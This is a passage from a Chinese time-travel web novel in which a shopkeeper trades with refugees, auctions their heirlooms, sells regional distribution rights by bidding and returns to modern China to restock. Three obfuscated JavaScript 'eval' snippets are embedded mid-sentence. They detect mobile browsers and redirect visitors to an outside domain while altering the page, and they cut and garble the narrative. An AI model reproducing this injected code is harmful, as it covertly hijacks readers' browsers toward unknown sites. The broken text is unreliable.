因为她们寨子掌握着一门传女不传男的酿酒技术，这种酒只允许女子酿造，所以往往由女子酿酒养家。 这个习俗传承了几百年，直到朝廷开始禁止私人酿酒，将酒变为专卖。 失去赖以为生的手段，寨子开始走向没落。 生活在寨子里的人也被迫外出谋生。 窦娘的娭毑来到了窦大郎一族所在的村子，并在那儿定居下来。 窦娘说：“那又怎么样呢？” 乔四娘说：“有好处，他们肯定会先给自家人。哪怕你跟窦大郎合作，他给你分利，就算短时间内不会有人反对，可久了，肯定会有人以你不是窦家人来发难。” 在这方面，她深有体会。 窦娘不喜欢乔四娘的挑拨离间，转身便要离开。 乔四娘赶紧说：“我不是要挑拨你们，而是希望你能减少失败的损失。” 这话引起了窦娘的好奇之心，她问：“你的意思是我跟他们合作，一定会有损失？” 乔四娘摇头：“我阿娘以前会将家里的钱分成四份，分别藏在四个地方。我问她为何要这么麻烦，她说担心小偷来偷钱。将钱分别藏在不同的地方，小偷便不能把钱都偷光了。 “如今我们筹谋做买卖，也是这般……你将钱都给了窦大郎，万一他在运送货物的途中遭遇了山匪怎么办？又或者出了什么岔子，那你将血本无归。 “常七娘说，神女准许我们将东西卖到别的地方，但必须要遵守神女定下的规矩，其中一个规矩是按照地方来划分权限。比如，得了宜章县‘经销权’的人，不可以将东西卖到桂阳监去，别人也不能在宜章县卖东西。” 窦娘明白了：“你的意思是，我可以两边都投钱，就算一边有损失，我也能从另一边获得利润。” 这个选项放别人身上是不可能的，因为他们的会员卡里本就没有多少钱，再分成两半，窦大郎和乔四娘也瞧不上那三瓜两枣的。 而她，身怀十几万巨款，搁任意一边都能当大东家了。 窦娘谨慎地说：“你连自己的面食都护不住，你又有什么能力守住货物不被抢？” 这是乔四娘的耻辱。 但昭长雁说得对，要想强大，就得面对耻辱，然后告诫自己不能再重蹈覆辙。 “我可以多雇点人手，跟他们签契书。因为这次不一样，‘经销权’是神女亲自授予的，等于神女承认了我。他们受雇于我，在背叛我之前，得先掂量着后果。” 这就相当于，官府给了盐商盐钞，强盗却将盐钞抢去。 官府不仅不会置之不理，反而会因盐钞价值太高，以强盗罪将强盗处死。 乔四娘又说：“再者，我找你也有私心……因为我想跟你们联手。但我知道，我是楚人，越人不会信任我，所以我需要你作为我们之间的桥梁。” 9. 第 9 章 周梨打算先选三个经销商。 越人那边出一个，楚人那边再出一个。 剩下一个名额，就看哪边的人更有实力了。 她会出一份招标文件，列出最基础的条件，筛选掉一批过来浑水摸鱼的，剩下的人再通过竞标的方式取得经销权。 把这份文件打印出来给昭长雁。 昭长雁还没习惯从左往右的行文方式，愣是看了几分钟，发现没看懂，才想起神女的行文习惯与凡人不同。 在昭长雁看文件的时候，楚人和越人之间也因为经销权的事沸腾起来。 只不过，相较于兴奋的越人，楚人是有些不满的，因为昭长雁没有来跟他们说。 若不是有人偷听到了昭长雁与乔四娘的对话，他们现在还被蒙在鼓里呢！ 陈老翁主动找到了昭长雁。 还没开口，昭长雁便说：“当初我跟在你们的队伍后南下，你没有驱赶我，我感激不尽。” 陈老翁不悦地问：“既然感激我，为何经销权这么大的事瞒着我？当初发现神仙洞府，你也没有第一时间悄悄告诉我。” 昭长雁说：“关于经销权，我没瞒着你，只是还没有告知你罢了。至于神仙洞府，我是第一时间告诉你了，没想到被越人听了去罢了。” 陈老翁：…… 这话糊弄鬼呢！ 可他无法反驳。 昭长雁说的都是门面话，他对昭长雁的照拂又何尝不是表面上的？ 甚至还谈不上照拂。 因为他本意是想将人“捡”回来当孙媳妇。 陈老翁厚着脸皮说：“罢了，反正我已经知晓此事，你不用专门跟我说了。不过，你若想报答我，能否替我向神女美言几句，让我儿获得经销权？” 昭长雁知道这老家伙面上德高望重，内里就是个奸的，没想到还挺会蹬鼻子上脸。 她说：“小老板处事公允，自会采取公平的方式授予经销权，我只是代为传达罢了。” 她特意加重了“处事公允”的读音。 陈老翁听出来了，但他脸皮颇厚，假装听不懂。 昭长雁说：“正好，小老板刚给了我一份文书，我会代为宣读。” 陈老翁期盼地看着她，她却微微一笑，收起了文件，表示明早等人齐了再宣读。 这让陈老翁抓心挠肝，一整宿没睡好，拉着陈家村的人开会应对。 翌日一早，超市还没营业，闻讯而来的楚人和越人便早早地候在了超市门前的空地上。 昭长雁看到几个被她重点关注的人都在，便开始宣读。 首先，这次只找三个区域的经销商，这三个区域分别是骑田岭附近的敦州宜章县、临武县、桂阳监。 其次，参与竞争经销权的人必须拥有至少三万流动资金，然后还要付五千押金。 第三，经销商之间必须严格遵守超市的规定，不得越界，否则取缔其经销权，并罚没押金。 第四，经销商盈亏自负，但如果是因同行恶意竞争而导致的亏损，可以拿着证据来找小老板，待小老板核实后，会对恶意方作出处罚。 第五，经销权以三年为一周期，三年期满，想要重新获得经销权，就得再次参与竞标。不过原来的经销商有优先权。 …… 文件宣读完，那些原本想单打独斗的人立马死心了。 三万流动资金哎，他们哪有这么钱！？ 有人讽刺乔四娘：“你没希望了。” 乔四娘刚想说什么，她的婶婶看到超市门开了，便揣着一个包裹朝那边奔去，抢在众人之前，成为今日首个顾客。 周梨见她也不进去挑东西，便明白了她的来意。 “想用物件置换钱财？” 乔婶颔首，她打开包裹，将里面的物件摆出来。 周梨先看到的是一条腰带。 【紫地菱文缂丝腰带】 年份：8年 产出日期：公元950年 持有人：殷椒 起始价：43888元起（建议） 一口价：80000元（建议） “乔婶”殷椒有些忐忑，因为她这些物件加起来连一千文都不值。 就拿周梨正在打量的这条腰带来说。 当初她的夫婿被强征去当兵，在他战死沙场之前，他其实是打过胜仗的。 这条腰带就是他不知道从哪个达官显贵的身上抢回来的。 在这之前，这条腰带一直在她腰上扎着。 周梨对系统说：“这些流民到底还有多少我不知道的惊喜？” 系统说：“这是偶然，也是必然。” 有些东西在当下价值不高，但放后世便是价值连城的。 就拿这缂丝腰带的来说。 尽管它的工艺还不及后世那么完善，但因它不易保存，所以后世留存很少。 哪怕它织造出来的年份只有8年，不会因为被拍卖后就变成古董，可它毕竟是这个时代的产物，相当稀有，因此能拍卖出高价。 至于别的物件……周梨怀疑殷椒是把家当都拿出来了。 不过这些东西都不值什么钱。 周梨只留下缂丝腰带，说：“这腰带兑换的钱，够你在这里买很多东西了。” 缂丝腰带挂上拍卖行的瞬间就被人一口价拍走了。 殷椒得知它的价值，瞠目结舌，心想：真不愧是达官显贵的东西，一条腰带都这么值钱！ 下一秒，她狂喜：四娘不用担心没有钱争夺经销权了！ 她没想过用这笔钱给自己的儿子，让他出面竞买。 ——上次她们的面食被抢，她让他留在原地护住剩下的挂面，她们去追人。 结果他连这袋挂面都护不住，将她气得够呛。 “他们来抢，你便将面砸了、踩碎，也不要被他们抢去！”她说。 乔二郎木讷地说：“可是碎了就没法吃了。” 她恨铁不成钢：“反正被抢了，也吃不进我们的口里，为什么要便宜他们！？” 她觉得自己儿子的性格还不如四娘干烈。 所以四娘说要竞争经销权，她便支持她。 殷椒拿着超市会员卡回去找乔四娘，说：“四娘，你再也不用费心拉拢越人了，婶这儿有钱。” 乔四娘讶异。 她婶这么自信，想必这里面的钱已经超过了三万钱。 没想到那一堆破烂，竟还真有值钱的物件。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333624|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过，她仍坚持跟窦娘合作。 她说：“婶婶，就算我们拿下了经销权，也只会两边不讨好。所以，唯有和越人合作才是最好的出路。” 她给殷椒分析。 当她和窦娘合作，越人会因窦娘而将她当半个自己人。 楚人会因为担心她被越人拉拢而也对她投以善意。 殷椒说：“有必要吗？你们买卖的地方又不一样。” 乔四娘说：“神女眼下开放了三个县，不代表只开放这三个县。而随着越来越多人知晓神女的存在，便会有更多人来与我们竞争经销权。若我们获得了更多地方的经销权，距离远的地方，运输货物的成本也会增加，那么就需要投入更多钱财……” 殷椒不懂做买卖，她听乔四娘分析得十分有条理，便说：“那就依你所说的办吧！” * 周梨给了流民三天时间去筹钱。 时间一到，她就从楼上搬了张折叠桌出来，然后坐在超市门口旁观今日的竞标。 昭长雁在距此三米的地方铺了几张草席，几个来竞标的人便趺坐在那里。 竞标的流程完全是周梨随心所欲想出来的。 周梨让他们在纸上写下自己参与竞标的资金，然后淘汰价格最少的那个人。 剩余的人则进入第二轮。 因为都害怕自己的价格最少，所以基本都往大了写。 但能凑够三万钱的人少之又少，因此这第一轮就淘汰了三人。 一共只有六个竞标人，一下子淘汰了三个。 剩余的三人——窦大郎、乔四娘、陈老翁的儿子陈五郎——大大地松了口气。 他们的经销权稳了。 竞标的第二轮，周梨说：“价高者可优先选择代理区域。” 三人心中一紧，生怕自己理想的位置被人抢了去，直接拿出了所有的资金。 周梨没有公布他们的资金，而是直接宣布了次序。 众人惊愕地发现，乔四娘居然是出价最高的！ 这怎么可能！？ 陈三直接喊：“乔四娘不可能是出价最高的，她全部身家只有几千钱！” 他怀疑是昭长雁因私情偏袒乔四娘。 “你这是质疑小老板处事不公？”昭长雁问。 陈三梗着脖子，一副势要讨回公道的模样。 众人看他的眼神像在看傻子。 他本就惹神女厌弃，已经无法进入超市买东西，如今竟然还敢质疑神女？ 而周梨清楚，陈三不过是陈家人推出来趟雷的弃子。 ——他已经遭到神女的厌弃，那就让他继续当坏人，把陈家人摘得干干净净。 陈三的话的确让相当多一部分人也开始质疑是否暗箱操作了。 被质疑的周梨十分淡定，她拿出一瓶王老古，喝了两口，才说：“你算什么东西，也配质疑我？” 众人一惊，又觉得周梨的态度在情理之中。 这可是神女——哪怕不是，其展现的手段也足以证明她不是凡人。 对待凡人，她用得着解释什么吗？ 陈三面色涨红。 陈老翁担心周梨会迁怒他们所有人，就赶紧出来假意呵斥陈三，将他按了下去。 10. 第 10 章 乔四娘选择了桂阳监。 桂阳监不算县，它原先是楚国为了开采铅、锡等矿而设的特殊区域。 后来为了方便管理，便赋予了它与县同级的行政地位。 楚越交战，楚国败退，这里便被越国占领。 论人口多寡，这里比不上宜章县和临武县。 乔四娘选择这里的理由之一——她们南下时，曾经过桂阳监，并在那里待了数日，对那儿没有那么抓瞎。 宜章县和临武县都在阳山关古道以南，那是她还未到达过的区域。 她不了解那边的风土人情，盲目选择那里，很容易栽跟头。 第二个原因，桂阳监还负责铸钱币，因而往来的客商很多。 客商多，代表她的货物销路更广！ 也想要桂阳监经销权的陈五郎心下一沉，打算等下想办法跟乔四娘换一个地方。 拿出资金第二多的是窦大郎。 冼三娘不仅拿出了全部钱支持他，窦氏族人也都给他凑了钱，加起来有七万多。 他选择了自己更熟悉的宜章县。 二人都已做出选择，剩下的临武县自然是陈五郎的。 周梨核验过三人的资金，便开始跟他们签订合同——特意转换成繁体字再打印的。 他们有人不识字，昭长雁便念给他们听。 陈五郎提出要先跟乔四娘私下谈一谈，谈完了再签合同。 乔四娘果断拒绝了他，说她所做的决定是几大东家共同商议的结果，他找她也没有用。 说完，她率先在合同上画押。 陈五郎见事情成了定局，只能死了换经销区域的心思。 合同签完的同时，系统的声音也随之在周梨的脑海中响起：“恭喜业务员0311，成功签下第一笔跨位贸订单，完成初次贸易指标。接下来你随时可返回原位面半个月，以准备出库的货物。” 周梨面上不显，内心却有些激动。 她来这个位面八天了！ 虽然大部分流民都很穷，买不了太多东西。 但挡不住他们人多，需求大。 就拿粮油来说，因为便宜，又是必需的物资，他们哪怕是借钱也要囤一些。 这种情况下，超市的库存都见底了。 再不回去采购，她可没那么多货物提供给经销商。 周梨对三人说：“你们尽快定下要采购的物资和数量，交付押金。” 说完，又宣布了限购——一张会员卡一天购买的东西，同一款商品数量不能超过三件。 比如，米不能超过三斤，面不能超过三袋/箱，油不能超过三瓶/三桶。 限购的规则一出，流民们都有些慌。 尤其是那些没有会员卡的流民，因为只有持会员卡的人才能去超市买东西，以前他们还能托别人帮忙买，可限购规则一出，持卡的人买东西必然会先优先自家。 昭长雁说：“你们又不是陈三之流，怕弄不到会员卡吗？” 这话成功地安抚了大家。 他们本来就因为昭长雁负责竞标经销权的事宜，而对她产生亲近之意。 哪怕只是为了巴结她，那也是对她释放了善意。 如今听她一言，顿时醍醐灌顶。 有人大着胆子问她：“常七娘，你可知神女偏好什么物件？” 那些年代久的或做工精细的物件，他们都没有。 他们带出来的锅碗瓢盆，超市里不仅有，且比他们用的更加精美。 ——他们其实有钱币（铅钱、铁钱），只因之前昭长雁说超市不接受凡人的钱币，他们便不曾想过以钱置钱。 昭长雁回忆周梨所收的木制品，若她没有看错，乔四娘的木簪是黄花梨木，冼三娘的漆盒是沉香木，窦娘的镇纸是紫檀木。 这三种木材都很珍贵稀缺，但又恰好生长在楚越之地。 昭长雁说：“我不知道，但冼三娘的分析不无道理，小老板偏好年代久远的老物件，又或者是工艺精美复杂的物件。” 这一点不仅体现在那些木制品上，殷椒用一根缂丝腰带助乔四娘拿下竞标首个席位，足可说明，技艺越复杂，制作难度越高的物件，在小老板看来越值钱。 不过，大部分这样的物件本身就很值钱，没点底蕴或奇遇的流民也拿不出来。 那人有些失望。 昭长雁又说：“据我所知，这深林中生长了一些珍贵的树木，如檀木、沉香木、黄花梨……你可以去问问小老板，收不收这些木材。” 那人眼前一亮，欣喜地向昭长雁道谢。 她跑回去跟家人分享这个消息，但没多久又折了回来：“七娘，你知道这么多，那知不知道这些树都长什么样？” 昭长雁说：“知道，但你要拿什么来换这份知识？” 那人愣了愣，旋即从身上掏出一块布帛。 她小心翼翼地打开布帛，从里面拿出几十枚铜钱，说：“我只有这么点钱了，够吗？” 昭长雁将钱收走，说：“你等着。” 她回到超市。 周梨正在进行回家前的收尾工作。 昭长雁毕恭毕敬地将其中一枚铜钱递给周梨，问：“小老板，您看这枚钱币能换多少钱？” 周梨想放拍卖行，但和以往放上去就显示价值不同，这枚钱币的起始价和一口价都是空白。 “为什么会这样？”周梨问系统。 系统说：“因为这枚钱币不是万界通用货币。” 钱币上印着楚国开国国君的年号，但这年号搁别的位面却是陌生的。 既然不是那些位面历史上的钱币，它的价值便大打折扣。 除非能遇到本位面未来时代的买家。 但因时间悖论的缘故，同一个位面不允许出现不同时间点的人直接或间接接触的情况。 即，身处公元958年的甲不能跟身处公元1000年的乙通过拍卖行接触联系。 周梨说：“之前窦女的那对镇纸上面的诗文，不也非别的位面的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333625|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人之作吗？” “因为历史上佚名的诗文那么多，传世的经典也不少。如果它署名了，那就不值14万元了。” 周梨隐约摸清了拍卖行定价的规则。 她刚来到这个位面的时候，系统便提醒过，这是一个与她那个位面的五代十国高度相似的时代。 既然文明高度相似，那么文物的价值自然也是相近的。 而万界中，不可能只有一两个文明相近的位面。 把流民的物件买走的买家，或许正是那些与本位面文明相似的位面之人。 周梨还有疑问：“那这个位面刚产出的物件搁别的位面，属于古董吗？” “不属于。” 周梨又迷糊了，不属于古董，那之前那些物件为什么这么值钱？ 系统解释：“它的价值在于它的产出日期，对一部分买家来说，能帮助他们研究本位面同一历史时段工艺的物件便有其价值存在。” 乔四娘的簪子能卖出几千块是因为它从年份上来说属于古董，珍贵的木材为其增添了一些价值。 冼三娘的漆盒是因为沉香木与公元936年的螺钿工艺。 殷椒的缂丝腰带是因为公元950年的缂丝工艺。 窦女的镇纸是因为它本身便属于古董文玩，外加材质是紫檀木的，其雕刻的花木和诗文也只算添头。 至于昭长雁的青鱼石，它既不是古董，也没啥工艺，但它在当代就值那个价。 周梨没有纠结太多。 哪怕这些物件的产出日期与年份会无法通过碳14的鉴定，只要摆在博物馆用展柜隔离起来，谁知道它到底是商周的还是上周的？ 周梨刚想对昭长雁说这钱币不值钱。 拍卖行的价格突然跳出了一个“3”来。 系统解释：“虽然会被当做是赝品，但也不是一文不值。” 就好比五帝钱，因风水堪舆的缘故，五帝钱相当出名。 但市面上的五帝钱大多数都是近现代工厂流水线生产出来的，压根就不是真品。 可即便如此，它们也是有行情的。 周梨恍然大悟，对昭长雁说：“一枚钱币值三元，十枚起收。” 昭长雁松了一口气。 能以钱换钱便好。 而且在钱币大大贬值的当下，一枚钱币还能买到一斤米，对流民来说，这就是曙光！ 昭长雁将那几十枚钱币都换成了钱。 她又问：“小老板，我观超市内有书籍，不知可有能教人辨认名贵木材的书籍？” 昭长雁寻思，自家小超市似乎没有卖书籍的。 旋即想起文具用品区域有一些给人练字的字帖，以及给小孩涂鸦的涂鸦绘画本。 周梨说：“暂时没有，你想要的话，我可以弄来。” 昭长雁眼睛里闪烁着亮光：“多谢小老板！” 周梨趁机说：“对了，我会离开一段时间，安抚大家的工作便交给你了。” 昭长雁心中一紧。 11. 第 11 章 周梨会离开一段时间的消息很快就传到了流民的耳中。 他们一开始想的是会员卡里的钱还没花完。 随后又为物资的紧缺而产生紧迫感。 那三个刚花了大价钱拿下经销权的经销商更是紧张地将昭长雁围住打听具体情况。 直到昭长雁说：“大家不要担忧，小老板只是为了让天下更多百姓受到她的恩惠福泽而闭关了。” “真的吗？”众人质疑。 昭长雁拧眉：“你们怎能质疑神女？在你们担心神女携款潜逃之前，先想想你们这些时日的吃穿用度。你们扪心自问，真的亏了吗？” 她改变了对周梨的称呼。 目的自然是为了强调周梨神仙的身份。 流民们哑口无言。 他们对自己用来换钱的物件的价值再清楚不过。 就拿冼三娘的漆盒来说，卖给别人最多只值千百文钱。 这点钱只够他们在这乱世中买一斗米。 而小超市的米才三十六文钱一斗！ 他们每家每户都囤了至少一石米。 更别说那稀缺的油、盐、糖。 自从有了小超市，他们不仅能吃饱、吃好，身体也比以前好了不少。 在开辟山林建寨的时候，他们的效率也大大提高了。 除了身体上的变化，精神上，小超市的存在也让他们的日子更有盼头了。 但相对的，他们对小超市也愈发依赖。 冼三娘叹气，说：“还请七娘见谅，大家只是苦日子过怕了，面对神女的突然出现和忽然消失，都有些忐忑迷茫。” 昭长雁理解冼三娘的心情。 因为她当时听到周梨这么说时，心里也是这般患得患失。 尽管周梨在和她初见时便提到过自己肯定会有离开的时候，但那时候她还没有意识到小超市的出现意味着什么。 昭长雁说：“神女说了，她明日便会暂时离去，因此今日会解除限购。同时，她曾承诺过，大家若真担心她一去不复返，那也能找她退还卡里的钱。” 周梨为了防止有人要退会员卡里的余额，她便用自己的存款，以一枚钱币换三块钱的兑换比例，找昭长雁帮忙收了一些钱币。 流民来了这里后，没有与外界贸易往来，他们的钱币便只能在内部流通。 因此昭长雁轻而易举地便兑换了数千枚钱币。 这些钱币有铜钱也有铅钱。 铅钱叫大钱，一枚大钱当十枚铜钱使用。 但在周梨这里，不管是铅钱还是铜钱，都只能换三元。 流民们自然是不愿意退卡的。 他们手上的一文钱购买力能跟超市里的一元钱一样吗？ 但也有大聪明寻思，他退了卡里的钱，届时再以一枚钱币兑换三元钱的价格找神女兑换，自己的余额岂非又涨了三倍！？ 岂料周梨早就想到了这一层。 毕竟在近现代，有个相似的操作叫“非法买卖外汇”。 即利用甲、乙、丙三国外汇的高低来赚取差价。 所以她让昭长雁转述了自己立的规矩：“当然，一旦退卡，一年内不得再次在超市申办会员卡，也不得以物换钱。” 这和禁止他们在超市购物有什么不同？流民立马收起了那些不该有的小心思。 神女不愧是神女，竟能知晓他们心中的念头！ 流民们对周梨更加敬畏了。 … 到底是担心周梨会离开很多天，流民们趁着今天不限购，都跑去超市进行了大采购。 很多商品的库存都清空了。 剩下的都是流民觉得不划算或暂时用不上的。 晚上，周梨清点库存的时候，说：“饮料的销量不太行，应该是价格的缘故——一瓶肥宅快乐水的价格抵一斤米了，这对流民来说是奢侈品。下次少采购点饮料……” 销量同样不太行的还有雪糕。 对孩童来说，它们的诱惑力很大。 但只有少数流民舍得为孩子花几块钱买一支只能舔一会儿的雪糕。 办公用品拢共也没卖出多少，因为流民大多数不识字，买了文具也用不上。 突然，周梨听到了昭长雁的声音：“小老板。” 她扭头看去，只见昭长雁站在超市门外，朝她施以揖礼。 周梨：？ 昭长雁的身影很快便消失在了夜色中。 周梨没想明白，她关上门，激动地对系统说：“统子，gogogo！” 骑田岭山巅之上，只见白光一闪，浓郁的雾气被搅动了下。 翌日，上山来查看周梨是否离去的流民，看到山上空空荡荡，哪里还有小超市的身影？ 若非小超市曾经出现的地方留下了压痕，他们可能会将它的存在当做是一场梦。 * 华国，M市长田镇新联村村口。 穿越回来的那一刻，周梨便迫不及待地推开门朝外张望。 她看到了熟悉的公路、正在闪烁倒计时的红绿灯，还有不远处的高架铁路…… 一切都是那么的熟悉！ 忽然，一阵螺蛳粉的味道从隔壁顺着空气弥漫了过来。 周梨跑出去，看到隔壁螺蛳粉店的老板正在打扫卫生。 “穆阿姨，这么早就关门了吗？” 穆堃抬头，说：“是啊，再不关门，这不扰民了吗！” 周梨心里吐槽：您也知道“扰民”了？ 她至今也想不明白，为什么会有人把螺蛳粉店开在村口的位置。 虽然穆堃开螺蛳粉的店面是她家的自建房，但做别的买卖不好吗？ 村群聊里，穆堃没少因为螺蛳粉的味道被村民投诉。 当然，论被其味道影响，首当其冲的要数周家的这间小超市。 周好没少跟穆堃吵架。 甚至到了榴莲的季节，周好会弄一堆榴莲回来摆门口，跟讨厌榴莲的穆堃互相伤害。 穆堃问：“你在心里骂我了吗？” 周梨面不改色地说：“没有的事。” 穆堃说：“周好在心里骂我的时候，也跟你此刻的表情一样。” 周梨：“。” 她干笑：“时候不早了，穆阿姨你早点休息。” 说完，她赶紧躲回超市，关上门。 周梨并不担心被人发现她和小超市穿越了。 因为不管她在别的位面待多长时间，在她本来的位面，时间都是冻结的。 当然，她的时间也是冻结的。 不会出现她在别的位面呆了五十年，回来后瞬间变成老婆子这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333626|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况。 这算是跟系统绑定的“好处”之一——她可以用几年的时间，增加数十年的阅历和见闻。 … 才22时05分，周梨毫无睡意。 她给母亲周好打了个电话。 电话接通，周梨刚开口喊了句“妈妈”，便被周好一通质疑：“周小梨，你是在家大战法海水漫金山了吗？为什么这个月的水费那么贵？还有电费……” 周梨：…… 她想到了那些进卫生间清理身上的山蚂蝗的流民。 这水不可能是他们用超的吧？ 系统说：“哦，忘了说，为了保障超市的用水用电，系统付出了一点代价，所以在异位面期间的水费和电费会是本位面的三倍。” 周梨震惊：“你为什么不早点告诉我？” 系统反问：“告诉你，你就不用水不用电了吗？” 周梨说：“不，我会向流民收费。” 系统：…… 你真是一点亏都不吃。 周梨不想被她妈唠叨，赶紧说：“妈妈，我给超市拉了三十多个会员！” 周好一顿，问：“什么会员？” “哦，妈妈你不是说要扩大经营规模，向大型连锁超市取经吗？于是我决定学习大型连锁超市的会员卡模式，给我们家小超市也定制了会员卡。” 周好：…… 她不确定地问：“你用鸡蛋哄骗村里的八十岁老人办卡了？” 周梨：“我可是要考公的人，您觉得我会自毁前程吗？” 周好“啧”了声，也没问她从哪里拉了三十多个会员。 “超市的事务上手了吗？” 周梨说：“妈妈您看下报表？哦对了，顺便帮我联系供货方，超市要补货了，采购清单我等下给您发过去。” 周好应了两句就挂电话了。 周梨把采购清单给她发过去。 没一会儿，周好就主动打电话过来了。 “10吨大米？你确定你没有打错单位名词，是吨不是袋？” “昂，是10吨。”周梨说。 周好：“……虽然我们的目标是大型超市，但步子没必要一下子迈这么大吧？” 周梨说：“妈妈，您先看看超市的营业额。” 周好又挂了电话，然后就再也没有意见了，只在微信上回复说会尽量安排。 周梨松了口气。 还好她妈妈没有追问，超市的营业额为什么会这么异常。 不过，新的难题很快就出现了。 商品虽然可以让她妈妈帮忙联系供货商采购补充，可仓库的空间有限，这么多东西会爆仓的。 周梨苦思冥想了一宿，第二天决定调整超市的布局。 原来的超市是120平方商品陈列区，加60平方移动板房违建的仓库。 她可以调整为60平方的商品陈列区，余下120平方及二楼部分区域可以充当仓库。 周梨打电话跟周好商量。 周好说：“你自己决定就好了。还有，我把供货商的联系和采购价发给你，这次采购的事我已经帮你安排好了，但你不能事事都依赖我，以后你自己联系他们。” 周梨头大。 她妈妈是不是忘了这家超市不是她的？这甩手掌柜当的…… 12.第 12 章 有了亲妈的放权，周梨便立刻着手安排调整超市布局。 她减少了货架，将同一类型不同品牌的商品都归纳在一起，节省空间。 货架上的价格标签也挨着贴一起，就算买的人没看清楚，结账的时候也会显示正确的价格。 然后增加了生鲜区和户外用品区。 户外用品的灵感来源是流民的野外生存经历。 她想，如果有帐篷，谁愿意幕天席地？ 就算流民因为它的价格昂贵买不起，那别的位面也是还有希望卖出去的嘛！ 不过，鉴于大多数户外用品厂家都是跟运动户外用品专卖店合作，或者在大型超市开专门的区域售卖的。 她家超市的规模太小，还真不一定有厂家愿意跟她合作。 所以她在某88注册了账号，选择在那上面采购。 一顶两门两窗，带防潮垫，能容纳2-4人的帐篷，批发价100元左右，最少能买一顶。 去某宝至少要180元。 去实体店那就更贵了，没有两三百拿不下来。 周梨联系厂家，一番讨价还价，最后用93元一顶的价格拿下了30顶小帐篷。 另用128元的价格拿下20顶能容纳6人的帐篷。 采购了帐篷和防潮垫，燃火炉和水壶这些野营用品也不能遗漏了。 超市虽然也有水壶卖，但那都是电水壶。 在没有电的环境里，不锈钢水壶更有市场。 鉴于有部分流民携带的家当中有烧水的陶釜，以及他们习惯砌灶生火，周梨没有采购太多燃火炉和烧水壶。 倒是保温杯，她一次性采购了500个。 不管是304不锈钢材质的，还是316材质的，500ml的保温杯批发价都只要15元。 届时304不锈钢的按29元的价格出售，316的就卖59元。 发展了经销商后，她也不用担心这500个保温杯消化不掉。 … 按着采购清单采购了大部分商品后，周梨请穆堃帮忙看一下超市，然后就开着小电驴去镇上的大超市取经。 她结账出来的时候，看到了自助收银机。 她灵光一闪，问系统：“系统，你能和自助收银机对接吗？” 系统说：“当然可以。” 小超市现在收银系统就是它在处理。 周梨立马给周好打电话，说想给超市安装两台自助收银机。 周好：“……我们这村口小超市，还需要自助收银机？而且还是两台？” “那一台。” 合着前面那句话完全没听进去？周好有些无语地说：“行，我去订。” “妈妈，家里的两个冰柜也不够用了，再多买一个冰柜吧！” 之前一个冰柜放雪糕，一个冰柜放速冻食品。 她打算再买个冰柜放肉类等容易变质的食物。 周好也应下了。 周梨浑身松快地回到家。 穆堃正在超市门口拍苍蝇，见到她，问：“你家超市又要装修啦？” 之所以说“又”，是因为小超市以前是日杂店。 门前的两条公路修起来后，周好才连夜装修，给翻新成生活超市的。 周梨说：“只是调整一下空间布局，没装修。” 她顿了下，问：“对了，穆阿姨，您知道哪里有卖农具的吗？” “农机吗？” “就锄头那些农具。” “你家超市还是日杂店的时候就卖农具，后面村里种田的人少了，而且一把锄头用几年都不烂，卖也卖不了多少，周好就不卖农具了。怎么，你打算卖？” 周梨颔首：“对。” “现在镇上基本没有专门卖农具的店了，不过墟日会有人在路边摆卖。” “那什么时候才是墟日？” “明天呀，不过你得早上去，晚了人家就收摊了。” 周梨道了谢。 恰好螺蛳粉店来客人了，穆堃冲她摆摆手就回店里去了。 第二天六点半。 趁着还没到小超市开门的时间，周梨囫囵吃了个鸡蛋就开着小电驴去趁墟了。 墟日的镇上热闹得很。 路边空地不仅有摆卖水桶、收纳箱、扫把、纸巾等生活用品，还有卖衣服的。 周梨转了小半圈，加了好几个杂货小贩的微信，才看到一对年过六旬的老夫妻在卖农具。 黄泥地上铺着彩条布，三五个锄头、铁锹、钉耙等分别串在一起，木柄则捆起来堆放在边上。 顾客挑好了农具，夫妻俩再帮忙组装。 锄头30元一把，铁锹15元，钉耙12元，镰刀8元。 周梨在来之前查过了某88的农具价格，有贵有便宜。 以锄头为例，便宜的18元，但是属于小号锄头，一般在家种花种菜，给翻翻浅层的土还成。 如果用来开荒，用不了多久就断了。 大号的锄头35元。 而老夫妻这里的锄头都是种田专用的，很沉很厚，看着质量也很好，用十几年也不会断裂。 周梨问：“这些我包圆了，能不能便宜点？” 老夫妻有些听不清楚：“啊？” 周梨又提高音量重复了一遍。 老大爷一开始还摆手，说不能便宜。 但谁都知道这是讲价必走的流程。 周梨说：“你看你们两位带着这么重的东西出来摆一次摊也不容易，我全买了，你们就可以早点回去是不是？我买这么多，给我算便宜点，你们也吃不了亏。” 然后老婆婆就说：“那锄头二十九一把。” “二十四。” “那不行，少说也要二十八。” 